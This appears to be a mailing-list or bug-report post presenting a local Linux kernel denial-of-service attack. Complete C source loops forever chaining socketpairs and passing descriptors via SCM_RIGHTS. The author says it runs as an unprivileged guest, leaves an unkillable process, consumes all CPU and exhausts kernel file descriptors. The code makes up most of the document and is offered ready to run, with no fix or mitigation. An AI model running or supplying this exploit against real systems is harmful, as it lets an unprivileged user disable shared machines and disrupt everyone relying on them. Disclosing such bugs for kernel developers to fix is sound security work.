Simple kernel attack using socketpair. easy, 100% reproductiblle, works
under guest. no way to protect :(
Simple kernel attack using socketpair. easy, 100% reproductiblle,
works under guest. no way to protect :(
See source attached.
Process become in state 'Running' but not killalble via kill -KILL.
eat 100% CPU, eat all available internal file descriptors in kernel :(
--
Segmentation fault
#include <sys/socket.h>
#include <sys/un.h>
static int send_fd (int unix_fd, int fd)
{
struct msghdr msgh;
struct cmsghdr *cmsg;
char buf[CMSG_SPACE (sizeof (fd))];
memset (&msgh, 0, sizeof (msgh));
memset (buf, 0, sizeof (buf));
msgh.msg_control = buf;
msgh.msg_controllen = sizeof (buf);
cmsg = CMSG_FIRSTHDR (&msgh);
cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
msgh.msg_controllen = cmsg->cmsg_len;
memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
return sendmsg (unix_fd, &msgh, 0);
}
int main ()
{
int fd[2], ff[2];
int target;
if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
return 1;
for (;;)
{
if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
return 2;
send_fd (ff[0], fd[0]);
send_fd (ff[0], fd[1]);
close (fd[1]);
close (fd[0]);
fd[0] = ff[0];
fd[1] = ff[1];
}
}
